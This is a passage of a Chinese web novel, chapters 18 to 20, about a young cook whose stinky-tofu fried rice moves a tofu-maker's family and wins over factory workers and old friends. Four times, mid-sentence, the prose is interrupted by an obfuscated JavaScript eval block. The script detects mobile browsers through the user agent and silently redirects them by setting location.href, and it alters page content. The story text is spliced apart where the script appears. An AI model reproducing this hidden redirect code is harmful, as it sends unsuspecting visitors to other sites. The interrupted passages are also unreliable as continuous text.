在那小店铺里做豆腐卖豆腐，这种看得见的未来，孙满其实是不甘心的，他才28岁，就算成家立业，可终究有一颗向往外面世界的心，思绪繁多，这不就想起臭豆腐的“大单子”。 开饭店的老板是比他年轻很多的女孩，要是不出意外，她也将在灶台度过一辈子。 所以，进店就通过出餐口看到里面那纤细手腕正在颠锅，孙满观感很复杂。 他来得时间已经11点，店里六张坐满但都有空位，这生意算不得很好，但肯定能赚钱，因为就他旁边那两个男人点的菜，就有7.2元钱的收入......这收入都可以直接买下一板臭豆腐。 这餐饮比他们卖豆腐赚钱多了，老板心也黑。 看眼前这碗刚上的臭豆腐炒饭，大概有六两米饭，算它1毛钱，加一点臭豆腐，几乎没多说的腊肉，这一碗炒饭成本撑死2毛，却可以卖出6毛一份。 拿起陶瓷勺，一口炒饭，孙满本以为吃惯父亲做得臭豆腐，觉得怎么也做不出花？ 没成想，臭豆腐真能做出花。 软嫩的炒饭瞬间在口腔交织他熟悉又不熟悉的鲜美，每每咀嚼都带着它的香鲜味。 孙满没想到，臭豆腐的鲜味可以被激发到这般滋味，再看想旁边的鱼丸汤，他也喝上了一口，同样鲜美，却是另一种风味。 这下，孙满有些绷不住了。 再吃上鱼丸，眼泪莫名就流了下来。 “不是，我这什么运道，吃饭又碰到哭的大男人了？”店里都快坐满了，罗艳红只能继续选择拼桌，一坐下，自然注意到旁边这男人莫名奇妙的哭腔，还是忍不住问道，“嘿，我说同志，你干哈子？也想家了？” “啊？”孙满抬头，就发现他座位对面的罗艳红，他赶紧用手磨去眼泪，红红的眼睛带着羞愧，“没，没想家，对不起，我就是一时之间有点激动。” “那是好吃......到哭了？这臭干子炒饭真能吃？”罗艳红进店自然也看到这新品，她有点接受无能，也就没点。 “能吃，臭豆腐生的都能吃，炒饭怎么就不能吃。”孙满语气一下就有点冲。 虽然有些抵触做臭豆腐，但他不希望有人误解，不过说完，他很快意识到自己的语气，怂拉下了肩膀：“抱歉，有点激动，这个炒饭很好吃，厨师的手艺非常好，保证你吃了不会后悔。” “嗷嗷。”罗艳红也不含糊，立马转头朝着薇薇喊道，“妹啊，我能改成臭豆腐炒饭吗？” 都让人吃到哭了，那鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347481|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头豆腐汤她暂时吃不起，那臭豆腐炒饭还是可以试试的。 “好的，可以的，姐。” 常薇薇接收到信息后，自然就瞧见满眼通红的孙满，她不由挠挠头，这孙家父子是什么怪癖...... 店里刚点上一轮菜，她所幸直接上前问一问：“同志，是需要什么帮助吗？” 反正她不觉得是炒饭的问题......要是好吃哭了，孙满的表情也不至于那么复杂。 这常薇薇一靠近，旁边的张海荃和卫镇国自然望了过来。 卫镇国一眼就认出人：“嗯？好像是大牛的儿子？这是怎么了？” 这被一群人围着，孙满满脸涨红。 难道要他说腹诽人小姑娘心黑，下意识忽略或者说没想过人家手艺吗？ 还是说他其实就是自卑，觉得他一个大老爷们还不如小姑娘吗？ “没什么，就太好吃了。”孙满只能想到这个理由，特意补充道，“这臭豆腐......炒饭原来可以那么好吃。” 其实他想说，臭豆腐原来可以那么好吃，只是如今还有些倔强。 “确实，不过你爸那臭豆腐当属主角。”卫镇国不吝啬夸奖，“当年你爸的臭豆腐可是让我不少人念念不忘，可惜好多年没吃到。” “谢......谢。”孙满干巴巴道谢。 “幸好重新开门，不然咱们越州当地的特色就少了一样，我都想好，等下去你家买点臭豆腐，到时候肯定可以写上一篇报道，现在吃到了，感觉都不用去了，就知道味道没变。”卫镇国虽然已经不再是越州日报的编辑，不过依旧是邀约作者，这一回忆，就想到另一件事，“哎，你爸的亲人找到了吗？” “没......”孙满没想到眼前的老先生不仅是店里老客，还是能写报道的作者。 卫镇国以为他是因为臭豆腐想到失散的家人，一时有些感触，特地安慰道：“唉，慢慢来，这寻人只能讲究缘分，不过现在世道好，我们州报影响力也更大了，等我写完你家臭豆腐重新开张，再带上寻人的信息，希望能传递出去吧。” 孙满内心五味杂陈，还是诚恳地道谢。 常薇薇看到他这般也没在说什么，至于罗艳红倒是把眼前的人和之前在店里哭的孙勇串联起来。 18.第18章 “你和你爸果然是一家人，下馆子吃个饭都哭。” 罗艳红自问不是热心的人，但当她吃上一口这臭豆腐炒饭，她觉得这臭豆腐店必须得开下去：“对了，那么好吃的臭豆腐店，你干嘛不想开？你爸爸有这手艺，你还愁什么？怎么说？是你还没学会？” “你......认识我爸？我学会的。”孙满本来一口一口在吃炒饭，听到这话意思有些花蕊，他不知道他爸也在店里哭过，至于这些问题，他一时之间也只能挑着回答。 “之前一起拼座吃了顿饭，当时他和你现在一摸一样，因为想家人，你爸哭得可伤心了。后面还聊天未来，被我安慰过，也就算认识了吧。”罗艳红直言不讳，还不忘加一点修饰显得关系近一点，“不过看你这意思，也是想着家人啊？怎么就不同意开店啊，难道怕累怕苦？” 孙满很想说，他真不是想素未谋面的家人。 “其实工作都一样的，赚钱这种事情你就别嫌弃了。”罗艳红没停歇的意思，这臭豆腐味道是特殊了点，不过那么好吃，你就应该把店做大做强。现在改革开放，市场经济可好了，你可以南下北上，把你爸臭豆腐卖到更远的地方，肯定赚个盆满钵满，不过手艺你可得学起来，这可是传家宝，再过个几十年，那就是百年老字号。” 孙满中间想开口辩解都没来急的，直到她说完大口吃炒饭，他才开口：“......豆腐、臭豆腐保存不了多久......没那么赚钱。” 他们一天赚得其实不多，不仅仅豆腐产量有限，还有每天能卖出去的量也是有限制的，真做多了卖不出去就只浪费。 罗艳红先说，不过炒饭还没吃完，只呜呜几下，等全部咽下去才道：“那就延长保质期啊，真空包装听过没？搞个机器就行，现在塑料技术差不多都有突破，真空泵技术含量也不高，就是传感器精细点，我记得德国那边还更新了封口和真空机一起的机器，应用热管和冷封口技术，合适做食品。” 说到技术点，罗艳红更加侃侃而谈，当然，她还是记得话题重点。 “不过就现在来说，你和你爸爸老老实实把臭豆腐卖起来，到时候再搞一个塑料机器，打包方便，卖遍我们南江北清市，钱又有了，就搞一个真空泵和封口机，这样可以先把豆腐卖到整个越州，卖遍越州积累了本钱，名气也打出去，再搞一个真空技术自动化流水线，那只要开个机子，印上大牛臭豆腐，都能卖出国。” 以罗艳红的阅历，自然不知道卖豆腐做品牌的概念，但她懂得如何成为高级钳工，先要理解数理化等理论知识，积累经验，实践操作，打好基础，等攒足底气后，再一鼓作气考级别，从低级到高级，一阶一阶往上走。 都是赚钱，道理万变不离其宗，再好吃的臭豆腐也不能直接赚大钱，要扎实打好基础，先卖遍市区，再到越州，到九州，再到全世界。 所以罗艳红也不觉得自己是瞎说，语气坚定，仿佛已经确定他这样做能成功一样。 当然，若是常嘉欣在，一定会觉得这画大饼的模样格外熟悉，堪比当年短视频的微商带你做百万富豪。 但站此时此刻这个遍地是黄金的时代，其实很有分量。 至少在孙满视角，他好像之前所有的胡思乱想都显得很幼稚，罗艳红这一番话，让他直接开拓了视野，感觉到一条赚钱的康庄大道。 赚钱啊，他怎么就没想过把臭豆腐，或者豆腐卖到全球......哦，是全国呢！ 他不止可以守着那狭小的臭豆腐店，也可以开疆扩土！ 臭豆腐家的怎么了，女儿儿子被说臭豆腐家的怎么了，要是他能成为万元户...... “你说的对！姐！谢谢你！”孙满内心已经豪气万丈，快速把炒饭和汤吃得干干净净，“我想再点一份臭豆腐炒饭，等我回家带着饭盒过来打包！” 然后他便转身离开了，店里下午要做豆腐！ 什么叫一语惊醒梦中人，这就是！真是高人啊！ 只是高人罗艳红只抓住了另一个重点。 “不是......我看起来那么老吗？” 孙满看起来都三十了！ 常薇薇过来收钱就听到罗艳红的困惑，罗艳红看起来也就二十五六的样子，只是与穿着灰色工作服有关，整个人看起来老练多了，但这话是不能说的，她机智含糊道：“没有啊，可能是我刚刚叫过你姐？” 店里还是吵闹的，她其实更习惯叫人同志。 常薇薇确实比罗艳红小很多，而且她认真说话的模样，满是真诚。 “有可能。”罗艳红摸了摸脸，她最近吃得好睡得香，又没项目要熬夜，不应该显老，“算了，看他那样子，我就原谅他过于客气的称谓。“ “我叫罗艳红，以后别叫我姐，可以叫我艳红，对了，也不能叫小红！”罗艳红用勺子刮完碗边，有点意犹未尽，但吃完总不能占着位置，她站起递过钱，“臭豆腐炒饭很好吃，我明天还来吃！” “好呀，艳红。”常薇薇虽然刚刚离开这部，但心可一直关注着孙满，自然听到了他们的交谈，对罗艳红自然充满好感，她还想着明天多送点一些鱼丸呢，“明天见。” * 另一边，孙满回到自家豆腐坊的时候，孙勇正推着石磨，在制作新的豆腐。 “爸，我来吧。”孙满把饭盒递过去，“吃午饭了么？没吃尝尝这个，很好吃。” “你怎么回来了。”孙勇有些诧异，其实刚刚他吃过一个馒头，但此刻他并不想拒绝。 孙满接过他的火，慢慢推着石磨，或许腌制臭豆腐他学得不够用心，但做豆腐，他完全信手拈来，绕着石磨走，他很认真在展望：“爸，我们好好开店，到时候把大牛豆腐印在包装盒上，上面还可以印找奶奶他们的信息，如果能卖到全国各地，或许能有收获。” 不过，孙勇完全没有听见，他注意力全在铁盒装着的臭豆腐炒饭。 “这......这炒饭哪里来得？”孙满眼眶全红，问向孙满。 孙满不明白这饭对孙勇的冲击，只是催促他尝尝：“就家常馆啊，昨天来定臭豆腐那两个小姑娘开的，很厉害，炒饭味道很好，你快趁热吃。” 只是孙勇听到答案后，以及转身跑出了店。 * 大约12点40送走了最后一位客人，常嘉欣带上两碗炒饭和一大锅鱼头豆腐汤，正和薇薇边吃边八卦着呢。 她这会才从常薇薇口中侧面认识了罗艳红：“等明天她来了，你可以和我说下，我直接送个鱼头汤，不，还是家烧杂鱼吧，这个最贵。” 这可是帮她完成孙勇任务的大功臣，自然不能吝啬。 “好。”常薇薇满足着吃着炒饭，“臭豆腐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352333|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炒饭明明更好吃，可惜中午卖得不多。而且有些客人因为知道店里有臭豆腐，都没留下了。” “这也没办法，臭豆腐这个食材就比较特殊。”常嘉欣到没那么急，就算有客人因为臭豆腐离开，未来肯定也有人因为臭豆腐而来，“慢慢来。” “不好意思，我们店歇业了，要等晚上4点半才开。”常薇薇再抬头时注意到店门口大汗淋漓的孙勇，“这是......” “是谁教你这个臭豆腐炒饭的？孙大刚，或者牛翠花，或者孙小牛么？”孙勇喘着气，快步走到常嘉欣面前，举着铁盒中的臭豆腐炒饭，微微颤抖。 身体有些疲惫，可此时此刻孙勇那浑浊的眼球，却从瞳孔最深处透出清亮，如同枯井底突然涌出汩汩的泉。 常嘉欣很快就明白孙勇激动的原因，她无奈摇头：“是我自己想的，我父亲叫常胜，母亲是许嘉初，我的其他长辈.....所以，和你说的这些人都无关。” 得到这坠落的答案，孙勇直接瘫坐在地上。 他又笑又哭，看着饭盒，最终拿出饭勺，一勺一勺吃了起来。 常嘉欣无奈，递给常薇薇一个眼神，两人联合把孙勇驾着挪到座位上：“叔，你慢慢吃。” 说完，常嘉欣还进厨房拿了新的碗，盛上一碗鱼汤。 “叔，我看到过店门口的寻人启事。”把汤放在孙勇面前，常嘉欣安慰道，“他们可能也在找你，你放心好了，我们帮你一起找。” “谢谢，让你们见笑了。”孙勇总算缓和过来，他喝上一口汤，熟悉的鲜美在口中绽放，“真好喝，炒饭也很好吃。也是巧合，我以为臭豆腐炒饭这种只有我家吃过，还有这番茄鱼头豆腐，味道和我娘做得很像......” 有这样深的缘分，若不是常嘉欣那么坚定的说出她的过往，孙勇怎么都想不到这世上有那么多都巧合。 那确实不是巧合，但系统过于离奇的经历常嘉欣并不准备透露给任何人，她只能再填上一勺鱼汤，安慰道：“等我的臭豆腐炒饭名气变大，也能帮您找到家人。” “或许吧。”孙勇有点懊悔，“我这一激动，倒是又忽视了儿子，他刚刚在店里好像和我说......” “说我们把臭豆腐做大做强。到也不是忽视，只是估摸着远香近臭，一听到他们的消息你就激动。”孙满从他身后开口，吐槽完，才向常家姐妹感谢道，此时此刻，他看起来可不像刚刚薇薇姐口中哭红眼眶的小哭包，“谢谢你们照顾，我爸他没给你们添麻烦吧？” “没呢，孙叔是性情中人。”常嘉欣笑道，“要不要一起喝碗汤？孙叔说这和你奶奶做的很像。” 孙勇有些不好意思，但也忍不住招呼儿子：“不止汤，其实炒饭也是，和记忆里我娘的臭豆腐炒饭一样好吃。” “谢谢。”没在犹豫，孙满坐到孙勇旁边，不由调侃，“原来我奶奶的手艺那么好，怪不得我爸念念不忘那么多年。” “你妈做得也很好吃。”孙勇认真说道。 这一顿午餐，常家父子出乎意料的心平气和，孙勇在走之前还问道：“晚上开店么？我想带我家人来吃个饭。” “欢迎。” 常嘉欣算是正式认识孙勇孙满两父子人，也接到了晚上预约单子。 只是还没等营业，店里进来了一个妇人和一个中年男人。 19.第19章 他们来的时候，常薇薇还在用抹布擦一遍桌椅，常嘉欣则在座位上珍惜下午开店前最后的休息时间。 “你们好，听说这招小时工？我是袁红，想来试试。” 先说话的妇人头发全盘，侧面钻出些许银丝，但不影响她面容的爽利，褪到灰白的确良衬衫与黑裤，袖口还有有补丁，虽然拮据但能看出是整洁干净的人。 “我是马谦，也是想来试试。”中年男人面容褶皱较多，但眼神清明，走过来的时候腿有些跛，和齐叔形容的没差。 常嘉欣接过薇薇手中的抹布：“你去吧，我来。” 店里桌子早已经擦完，不过她买了一些酒精，用来消毒，和常嘉欣定好每次开店前都要擦一遍。 等擦完，她进厨房就看到常薇薇在厨房后门指挥着两人，一人在清理胖头鱼，一人拎着大桶在水桶中的鱼儿换水。 常嘉欣没打扰他们，径直开始开始清点剩余的食材。 臭豆腐炒饭就卖了五份，食材剩得多，如果晚上卖不出去，估计明后两天都不用去大牛店进货。 好吧，其实也不止臭豆腐，猪尾巴和鱼杂它们也都还在。 新菜品上的第一天，就卖出去三份韭菜炒春笋，二份炒鸡杂，鱼头倒是稳定卖出去七份，其他菜全都无人问津。 不过猪尾巴和鱼杂第一天进的也不多，就三份的量，晚上肯定能干掉。 慢慢来。 常嘉欣拿起一根萝卜，切成丝，练一练刀工，静心。 一颗切完，稳定好心态，常嘉欣开始为晚上作准备。 晚上人不多，但饭还是要蒸，不用蒸太多，洗上差不多十人的量。 米备好后，她去后门准备拿条胖头鱼，看到那两人已经不在后门了。 “小欣，我简单试了试，感觉两个各有优势。”常薇薇带着处理好的小杂鱼们跟着她再进厨房，有些纠结，“袁姨干活快，马叔力气大而且仔细，他们认识，还是互相夸奖。我感觉都是好，有点下不了决定。” 其实下午有几个人过来，但那种懒散的模样她可瞧不上，这一对比，刚刚来的两个自然就入眼。 常嘉欣看了眼手里的胖头鱼，以及常薇薇手中的杂鱼，“这个胖头鱼是马叔清理的？杂鱼是袁姨？” “是的。胖鱼头处理得干净，马叔心思很细，活也没特意做很快，小杂鱼处理很快，就是腥条还在，估计不是不仔细，我想是觉得可以吃所以没弄掉。”常微微分析道。 “那就两个轮着来呗，只要他们接受就行，到时候大半个月你总不会再纠结。”虽只是帮厨，但人和人相处总要有时间来认证，说着，常嘉欣同时右手带着菜刀律动，切半鱼头后，再次用流水清理鱼头，“反正我们工资是日结。” “好！” 常嘉欣其实只是随口一说，常薇薇却觉得很有道理。 送走两人后，常薇薇把桌椅都摆出来，从傍晚四点开始，外面马路上人也慢慢多起来，这是附近不少工厂的下班时间。 晚上第一个进来的客人就是熟悉的，是开业那天过来打包炒饭的寸头帅哥。 常嘉欣在窗口相当热络地推荐：“要尝尝臭豆腐炒饭吗？新出的，很好吃。” 寸头帅哥倒是没拒绝：“鱼丸汤还有吗？” “有呢。”常嘉欣毫不意外，鱼丸汤是上周店里的大明星，不少客人晚上来吃炒饭的都会问上一句。 她转身回灶开火，此时常薇薇也见到另一个熟悉的客人。 陆启铮手里拿着四个大铁盒，张望到黑板上的字：“中午没来，没想到今天有新菜啊。” 他黑黑的皮肤格外好认，不过常薇薇记得陆启铮是因为他和他同伴上周每天不是中午就是晚上，都会来点一碗鱼头汤：“是的，要尝尝吗？” 陆启铮有点促狭：“这臭豆腐炒饭好吃么？” 他给林徐笙带炒饭，人家可没说什么炒饭呀。 “好吃，保证你吃了念念不忘。”常薇薇下意识就回味起那鲜美的炒饭，还不自觉吞咽着口水。 “那就一份腊肉炒饭，一份臭豆腐炒饭，一个萝卜丝烧荷包蛋......和炒鸡杂吧。”陆启铮看下手里的盒饭，本来两个用来装饭，两个用来装鱼汤和鱼丸汤，既然有新菜不如先试试，价格都和鱼头一样，自然要试试，鸡杂是他的小爱好，他不爱吃鸡肉就爱吃鸡胗这些，这既然看到就不想错，“都要打包带走，快吗？” “比鱼头汤快点......对了，要是不介意带着我们的碗打包鱼丸汤吧。”他算是店里的大客人，常薇薇没多犹豫，直接拍板。 “那感情好，谢谢呀。”陆启铮开心不已，鱼头汤好喝，但鱼丸汤也不差，只是他饭盒带得不多，才没打算要。 接到这点菜订单，常嘉欣很高兴她切的萝卜丝有用武之地，私心决定给这位客人多加一个荷包蛋。 六寓意好，但是七个也不差。 将荷包蛋煎至双面金黄，常嘉欣将浸泡在清水的萝卜丝沥干，用煎荷包蛋的底油爆香煸炒萝卜丝，待发软煸透后，加热水铺上荷包蛋，开始大火焖烧。 烧的本意就是为了食材之间的味道互相渗透，等萝卜与煎蛋这两种食材交融的十多分钟里，足够她在另一锅用大火炒上两个炒饭与一份鸡杂。 鸡杂要做到口感，就要保证鸡杂快且均匀受热，决定这菜品质的关键就是颠勺甩锅与大火，常嘉欣现在的臂力和腕力早就堪比能破世界纪录的壮汉，这翻炒之下，游刃有余。 等把炒饭也解决，便是荷包蛋中“烧”的另一个重头戏，汤汁的乳化与浓缩，确定汤乳化后再进行调味收汁，小火等到汤汁浓稠到微微挂勺，这萝卜丝烧荷包蛋也就可以出锅。 压得满满的四个饭盒，再加上用大碗盛的鱼丸汤，鼻翼间香味与臭味混杂，可偏偏还挺诱人。 陆启铮回厂的时候担心汤撒走得小心，但因这复杂的香味还是忍不住加快脚步。 回到他们的办公室，陆启铮就看到厂里的老宝贝八级钳工曾援朝，他和林徐笙拿着新样品万向节对着图纸比划。 别看东西不大，它是汽车驱动系统的万向传动装置的关键部件，也是厂里的新项目。 陆启铮也没打扰他们，准备自己先开盖吃点，不过没注意，最先打开了臭豆腐炒饭的盒子。 这掀开盖子后那一股子特别的香味瞬间俘获住曾援朝的心头，他抬头望过去，好奇道：“这是臭豆腐？” 都不需要人回答，曾援朝以及放下手里的万向节，径直靠近陆启铮所在的办公桌：“咦，臭豆腐炒饭。” 自然也不需要人邀请，曾援朝毫不客气拿起筷子吃上了一口：“鲜咸可口，这臭豆腐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358160|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像老早前大牛家的味道，哎呦好久没吃到了，这搭配起来的炒饭还真不错，米选得可以，不过大概闷了会，有点偏潮，要不然我帮你吃掉？” “倒也不用帮，这是你最爱的小林的晚饭。”陆启铮嘿嘿一笑，把其他菜都打开，瞄了一眼林徐笙，“今天店里上新，我给点了两菜，这臭豆腐炒饭也是新品。” 林徐笙正摘下眼镜揉拧着鼻梁，听到这话也是无奈：“我去食堂打个饭。” “那怎么好意思。”说是这样说，曾援朝已经坐了下来，夹上一口鸡杂，“哎呦，腥味处理得很干净，入味实在，鸡杂保持鲜嫩口感，这是哪里的新馆子？有大厨啊，看来以后有口服了。” 这内脏爆炒最考验火候功力，没个十年二十年炒不出这般嫩而爽快的感觉，曾援朝原本因为项目问题憋着的心一下就通畅了。 虽然工作遇到难题，但没关系，这嘴满足了，相信脑袋很快会灵光的。 陆启铮吃上好几口，满足完才勉强开口：“就新围小区那边临街的......” “新围小区？那东北炒菜馆？那老朱火候进步那么大啊。”曾援朝光顾过那临街的东北炒菜馆，不过印象里他做最好的只有铁锅炖大鹅。 陆启铮实在不想放过每一口美味，但又见不得误会，只好停下筷子：“曾老，这你可猜错，人家姑娘做大厨才没几天，是那边的家常菜馆，原先也主卖炒饭的，嗯......你还嫌弃过人家炒饭不咋地。” “有这回事？肯定是你记错了。”曾援朝默默扒拉一口炒饭，再细品一下，“不会的，这炒饭那么好吃。” 陆启铮挑眉，虽然这期间有换厨师这茬，不过他并不准备多说什么，选择继续干饭，曾老夹菜一点都不节制，他可不能慢了。 “不是，你怎么不谦让一下老人。” “你可以爱幼啊！” 两个人吃个饭和火拼一样，等林徐笙回来，就剩下一个荷包蛋和萝卜丝汤底，至于鸡杂和鱼丸汤那是一点都没剩下。 林徐笙默默揽过萝卜丝烧荷包蛋的铁盒，红润的汤汁裹入米饭中，让他的晚饭看起来不至于特别凄凉：“......我要谢谢你们的良心吗？” 此时，对面两人模样如出一撤，摸着肚子摊坐在椅子上。 “汤汁醇厚拌饭吃也好吃，你多吃点，嘿嘿，鸡杂反正你不爱吃，我们就帮忙了。”好歹是饭友，同时为了挽回一点点同事爱，陆启铮特意推卸道，“这鱼丸汤大多都是曾老喝的！” 林徐笙想说他不吃鸡杂只是因为腥味，因为好奇能做到没有腥味的鸡杂小炒，他刚刚已经小跑去食堂，可惜高峰期打饭还是要排队，没想到回来就遇到这般收尾的场面。 “嗝～” 曾援朝想解释，不过打完嗝已经慢了，厚着脸皮说道：“真是太客气了，这臭豆腐炒饭真不错，明天我也请你吃他家。” 林徐笙其实还很想说，他最初说帮忙打饭，并不是意味着让臭豆腐炒饭...... “不行，还要加上我。”陆启铮坚定道，他看店里还有好些新菜呢！ “行吧，带上你小子。”曾援朝撇撇嘴，不过话锋一转，“前提是今天把这新品弄好。” “没问题！” 陆启铮爽口地答应，殊不知等这新品问题解决已经是一个月后的事情了。 20.第20章 另一边，常嘉欣她们正在店里招待孙勇一家五口。 孙勇夫妻只有孙满一个儿子，孙勇的妻子周萍性子温和，话很少，孙满大儿子孙明已经10岁，已经在上学，很有礼貌地端坐在座位上，甚至在没上菜之前两只手叠在桌上，如同上学上课一般。 至于小女儿6岁，圆滚滚的脸蛋，和她孙圆圆的名字很搭，圆溜溜的眼睛进店后就一直打转，充满好奇。 作为店里年龄最小的客人，常嘉欣觉得她应该享有特权，所以她特意赠送一份炸鱼丸配番茄酱。 也是这个契机，她才今天还是圆圆的“生日”。 孙满的妻子是一位知青，是孙满下乡收大豆的时候认识，后面政策可以回城，她在80年2月29生下圆圆后便离开了。 其实一顿饭解决不了家里的矛盾，但不可否认，美食容易让人心生好感。 孙明就很喜欢吃臭豆腐炒饭，他先瞄了一眼孙满，这才开口：“要快点找到太奶奶，这样可以天天吃到那么好吃的炒饭，爷爷和爸爸也不会吵架了。” 他已经懂事，自然能在日常感受到家里的不一样。 这话一出，孙满表情带上好些不自然，他无奈将大手按在儿子头上：“会的，很快会找到的，爸爸其实没和爷爷吵架。” “哥哥，没吵架，奶奶说他们这叫冷战。”在孙圆圆眼里，大人之间的纠葛暂时不会成为烦恼，她把注意力都放在最爱的番茄酱上面，还有鱼汤里的番茄她也很喜欢，“这番茄比肉肉都好吃，肉肉贵，圆圆可以少吃，但是番茄圆圆可不可以天天吃呀？” 说到这里，她看着爷爷奶奶，嘴很甜：“爷爷的臭豆腐也好吃，奶奶做饭也好吃，就是......就是......还想吃这个番茄。” 其实她觉得鱼丸最好吃，酥酥软软鲜鲜的，但她没说。 这是孙圆圆第一次下馆子吃饭，她其实还想来，只是她知道肉贵，知道下馆子要钱...... 孙家条件其实不算差，孙勇的臭豆腐坊为家庭打下了基础，后面经历的十年，父子也一直风雨无阻再做豆腐，如今他们能从狭小的房子住到新围小区，就是他们认真生活最好的证明。 可就是这样，他们点了五份臭豆腐炒饭之外，就点一锅鱼头豆腐汤，其实是很简单的晚餐。 周萍勇手帕把她嘴角的番茄酱抹去，又给她盛上一碗鱼汤，把自己鱼丸放到她湾里：“奶奶做得番茄可能没那么好吃，以后我们争取每个月29那天，来这里给圆圆过生日好不好？” “好！”孙圆圆喝上一口汤，带着番茄，高兴地摇头晃脑。 孙勇心疼地摸了摸她的头，把自己的鱼丸转给妻子后，对圆圆说道：“爷爷争取每天让圆圆吃上肉肉。” “嘿嘿，好的好的，不过肉肉不能让爸爸糟蹋，还是让奶奶来做比较好。”孙圆圆煞有其事。 ...... 常嘉欣就靠在出餐口看着他们，店里这么只有孤零零的一桌客人，可孙圆圆不时得童言童语让小饭馆显得格外温馨。 她虽然不知道牛大娘和小牛他们如今身在何处，可勤劳勇敢的人们，总会苦尽甘来。 不过，这表情落在常薇薇眼中，就是有些落寞。 或许妹妹想家人了，又或许看到空空荡荡的饭堂..... 常薇薇又一次嫌弃自己嘴巴太笨，不知道应该怎么安慰，也不知道能做什么。 好在，张海荃带着他的朋友们过来了。 常薇薇瞬间拿出最大的热情迎了上去。 “小薇啊，我这自带酒可以进来吧？”人都没进店，但声音已经能听出来人。 “当然可以。”常薇薇喜笑颜开，热情招呼着他们四人进店。 张海荃坐下，拍了拍他的酒坛，非常豪气地大手一挥：“店里的炒菜都来一份，饭等我们喝完酒在看哈。” 常嘉欣都不需要人传话，笑着在窗口这喊道：“行啊，孙叔，你朋友有没有忌口的？” “没呢！” “好嘞。”常嘉欣笑着从厨房拿出四个碗放在窗口，让常薇薇送去给他们倒酒，这便起火热锅。 猪尾巴刚刚被齐叔打包了一份回去，还有两份，所幸一起煮，到时候多加一些给孙叔他们，剩下就是和当她们的晚餐。 猪尾巴一卤上，才开始搞鱼杂。 这些河鱼换一换水，还能养住，那就留下一份给明天吧。 常嘉欣心想这晚上她们两个就一个猪尾巴当晚餐过于寒酸，家烧鱼杂到时候自然也要做上一份，给幸苦一整天的她们一点小慰藉。 给张叔他们做的时候顺带想好了自己的晚饭，常嘉欣这才全心全意开始做菜。 把清理好的杂鱼们放上姜片葱结黄酒腌制一段时间，常嘉欣在正式开烧之前，为了保证鱼形与肉质的嫩，她要先裹上些许生粉后，接着用小火煎着把这些鱼断生后再捞出备用。 这油就不能早用了，倒进污物槽里，再重新起锅，放些许五花肉与姜片蒜瓣以及少量的二荆条一起爆香，她现在做的家烧杂鱼其实不辣，但需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362022|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣椒爆香。 说是家烧，其实就红烧，加入的辣椒重点是为了增香提鲜去腥，不过等她等辣椒酱酿好，她肯定要更新版本。 确定五花肉油脂煸香，常嘉欣再次放入鱼开始煎至表皮微黄，接下来就是调味这种重点环节。 生抽与老抽，蚝油与白糖，黄酒做中和，再倒入开水，从小火焖煮到大火收汁。 这次的烧法刚好和烧荷包蛋反向，皆因为两种菜品的需求不一样，萝卜丝与荷包蛋是为了更入味，同时还能保留食材原味，但杂鱼需要浓缩酱汁，因为鱼肉紧实，汤汁其实很难渗透，让裹在外面的皮能沾上厚重的汤汁，这能保证鱼头与浓汁的滋味一同入口。 火候火候，“火”之外，这时“候”自然也很重要，她需要把控两者火之间的间隔，保证鱼肉的质感。 这边还在制作，外头的客人们已经开始聊起来。 张海荃从修表师傅到如今开钟表店，除了他修表技术过硬，自然也离不开朋友们帮衬，不过今天请的三位朋友身份比较特殊，都是他曾经的大学同窗。 其中一个带着眼镜的翁靖打量完店后，也耿直：“小姑娘年纪不大，店看着简陋，还不是什么老字号，这价格倒是敢写。” “这首都的烤鸭半只也就5块，远的暂且不说，那南江饭馆的香酥鲤鱼才3.8。”身型最胖，身上配饰最多的钱华摸着他手里的玉串，琢磨道，“想来要么是小姑娘手艺很不错，要么就是食材比较讲究？只是这店里不是鸡杂就是猪尾巴......应该是前者吧？” 